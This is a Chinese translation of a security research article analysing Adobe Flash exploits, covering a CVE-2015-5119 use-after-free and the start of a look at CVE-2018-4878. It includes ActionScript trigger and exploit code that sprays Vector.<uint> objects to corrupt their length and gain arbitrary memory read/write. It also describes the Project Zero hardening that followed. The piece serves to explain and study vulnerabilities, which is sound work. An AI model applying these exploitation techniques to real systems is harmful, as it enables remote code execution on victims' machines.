Adobe Flash 漏洞利用分析:从CVE-2015-5119 到 CVE-2018-4878(上)

丝绸之路 二进制安全 2018年2月13日发布

导语:据报道,上周有一个漏洞被用来传播ROKRAT恶意软件。这个事情有趣的地方是,在一个似乎很久没有出现热点的时期之后,Flash正在被APT组使用。我们不禁想知道这其中发生了些什么变化,以及这种最新的漏洞是如何工作的。

flash-600.jpeg

据报道,上周有一个漏洞被用来传播ROKRAT恶意软件。这个事情有趣的地方是,在一个似乎很久没有出现热点的时期之后,Flash正在被APT组使用。我们不禁想知道这其中发生了些什么变化,以及这种最新的漏洞是如何工作的。

在这篇文章中,我们将介绍传统的Flash漏洞利用,并着眼于了解这个最新的示例是如何工作的并且是如何绕过Flash环境中引入的一些加固措施的。

我们先来看看在一些最新的Flash缓解中扮演着重要角色的漏洞,CVE-2015-5119(通常称为HackingTeam Flash 0day)。

CVE-2015-5119分析

早在2015年7月,Hacking Team就遭遇了一些数据泄露,其中一些内部电子邮件,应用程序源代码和漏洞被公开发布。漏洞中包含一个Exp,称为CVE-2015-5119,这是Flash 16中的一个远程代码执行漏洞。

该漏洞被归类为“ Use-After-Free ”,这意味着内存将被释放到Flash中供以后使用,而不会更新所有对象引用。我们来看看一个可以触发漏洞的快速示例:

public class VulnSimple
{
static var _ba :ByteArray;
prototype.valueOf = function() {
_ba.length = 0x1000;
}
public static function TryExpl() :Boolean {
_ba = new ByteArray();
_ba.length = 0xfa0;
_ba[0] = new VulnSimple();
// here, _ba is pointing to free’d memory
return false;
}
}

编译这个ActionScript代码,并使用Flash版本16.0.0.287执行SWF,我们发现_ba ByteArray最终指向了free'd内存。

如果我们回顾Flash源代码,我们可以了解是什么导致了这个缺陷。首先,我们有一个长度为0xfa0的ByteArray,我们将其分配给一个对象。如果我们查看相应的源代码,我们看到“ ByteArrayObject :: setUintProperty ”负责处理这个任务:

void ByteArrayObject::setUintProperty(uint32_t i, Atom value)
{
    m_byteArray[i] = uint8_t(AvmCore::integer(value));
}

在这里我们可以看到,在我们的例子中是一个对象引用的“ value ”参数被传递给检查类型的“ AvmCore :: integer ”函数:

/*static*/ int32_t AvmCore::integer(Atom atom)
 {
 const int kind = atomKind(atom);
 if (kind == kIntptrType)
 {
 …
 }
 else if (kind == kBooleanType)
 {
 …
 }
 else
 {
 // TODO optimize the code below.
 return (int32_t)integer_d(number(atom));
 }
 }

然后我们的参数被传递给“number”方法:

/*static*/ double AvmCore::number(Atom atom)
 {
 for (;;)
 {
 const int kind = atomKind(atom);
 …
 // all other cases are relatively rare
 switch (kind)
 {
 …
 case kObjectType:
 atom = AvmCore::atomToScriptObject(atom)->defaultValue();
 break; // continue loop, effectively a tailcall
 }
 }
 //AvmAssert(0); // can’t get here
 //return 0.0;
 }

在这里,我们看到我们的对象被传递给“ AvmCore :: atomToScriptObject ”,它将该值转换回了“ ScriptObject ”:

REALLY_INLINE /*static*/ ScriptObject* AvmCore::atomToScriptObject(const Atom atom)
 {
 AvmAssert(atomKind(atom)==kObjectType);
 return (ScriptObject*)atomPtr(atom);
 }

最后,调用我们的“valueOf”属性:

Atom ScriptObject::defaultValue()
 {
 AvmCore *core = this->core();
 Toplevel* toplevel = this->toplevel();
 Atom atomv_out[1];
 // call this.valueOf()
 // NOTE use callers versioned public to get correct valueOf
 Multiname tempname(core->findPublicNamespace(), core->kvalueOf);
 atomv_out[0] = atom();
 Atom result = toplevel->callproperty(atom(), &tempname, 0, atomv_out, vtable);
 …
 }

在“ valueOf ”函数中,我们强制重新分配ByteArray,但Flash指针“ m_byteArray ”永远不会更新,这意味着在调用“ valueOf ”并重新分配内存后,“ m_byteArray ”变成悬挂指针。

通过Vector<uint>利用CVE-2015-5119

现在我们了解了这个漏洞,让我们来看看它是如何被利用的。

在利用Flash中的这种缺陷时,我们希望用一个对象来填充free'd内存,这将允许我们控制执行或修改内存……。输入Vector.<uint>一个矢量对象是相当简单的,做如下的初始化:

var v :Vector.<uint> = new Vector.<uint>(20);

初始化时,对象将包含以下内存布局:

[LEN] [METADATA_PTR] [uint 1] [uint 2] [uint 3] [uint X] …

可以在ActionScript中使用以下方法检索Vector.<uint>的长度:

v.length

该矢量的内容通过以下方式检索:

v[0]

现在,如果我们能够破坏“Lenght ”属性,我们发现我们有一个相当强大的R / W原语。例如,如果我们用0xFFFFFFFF填充“ Length ”属性的内存,我们可以处理任意内存。

让我们更新漏洞利用来展示这一点。

public function exploit() {
 var a :Array;
 var o :Object = new Object();
 var ba :ByteArray = new ByteArray();
 ba.length = 0xfa0;
 o.valueOf = function() {
 ba.length = 0x11000;
 a = new Array(90);
 for (var i:int; i < 90; i++) {
 a[i] = new Vector.<uint>(0x3f0);
 }
 return 0x40;
 }
 ba[3] = o;
 for (var i = 0; i < 90; i++) {
 if (a[i].length != 0x3f0) {
 AddToLog(“Modified Vector at Array Offset ” + i);
 AddToLog(“Modified Vector length ” + a[i].length.toString(16));
 }
 }
 }

在这里,我们看到采取了以下步骤:

1. 一个新的ByteArray(ba)被创建并分配了一个0xfa0的长度。

2. 值被分配给ByteArray的偏移量3 ,这会导致调用“ valueOf ”方法。

3. “ valueOf ”方法更改了ByteArray的大小,强制重新分配内存,但将“ ba ”指向原始分配。

4. 大量的<uint>被创建为大小为0x3f0,目的是迫使之前的ByteArray内存现在指向一个Vector.<UINT>

5. 返回 0x40,导致“ ba ”指针(现在指向一个 <uint>)将 “ length ”属性更新为0x40003F0。

6. 通过检查任何不是原始0x3f0字节的“ length ”属性,在内存中找到损坏的<uint>。

这导致了任意读/写内存的能力,使用户能够编写shellcode并强制执行。

Google Project Zero缓解措施

在2015年7月16日发布的一篇帖子中,Google Project Zero引用了HackingTeam的漏洞,并宣布他们已经与Adobe合作推出了一些强化Flash的方法。完整的文章可以在这里找到,其中介绍了3种这样的强化方法:

1. 更强的Flash堆的随机化

2. <uint>缓冲区堆分区

3. *长度验证

在这三种缓解措施中,我们看到上述缓解措施中有两种缓解方法是针对破坏Vector.<uint> 长度属性的技术。首先,向量被移动到一个单独的内存区域,与任何可能允许篡改“ 长度 ”属性的潜在溢出隔离。其次,在Vector对象中引入了一些检查,以确保如果“ length ”属性被破坏,运行时将检测到这种损坏并暂停执行。

这种长度验证方法是作为XOR键实现的。与stack-canaries类似,来自Vector对象的许多有吸引力的属性与一个键进行异或,并存储结果值,允许简单的方式检测损坏的值。

分析 TEMP.Reaper漏洞利用

缓解措施出台后,事情似乎平静下来。然后,一个新的漏洞浮出水面,CVE-2018-4878

该漏洞的细节保持安静,与许多安全研究人员一样,我们抓取了一个恶意软件的副本,并开始对样本进行逆向工程。

获取SWF文件的副本并进行反汇编,我们发现在加载SWF时,会向C2服务器发出请求:

loadswf.png

该响应包含一个密钥,该密钥允许解密嵌入的SWF Exp:

decript.png

不幸的是,到这里,分析工作停止了。我们分析的所有样本包含了不可再访问的C2服务器,这意味着我们无法恢复100字节的XOR解密密钥来分析漏洞利用。此外,那些幸运地拥有解密密钥的人不太愿意与他人分享,这意味着我们所能做的只是等到细节披露。

缓慢的细节开始变得可用,以编辑,部分屏幕截图和关注该缺陷的博文的形式出现,但都没有出现获得R/W原语的路径。经过几个深夜的分析之后,我们已经能够重新创建漏洞并了解绕过引入的缓解措施。

本文翻译自:https://www.mdsec.co.uk/2018/02/adobe-flash-exploitation-then-and-now-from-cve-2015-5119-to-cve-2018-4878/ ,如若转载,请注明原文地址: http://www.4hou.com/technology/10386.html
点赞 2
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论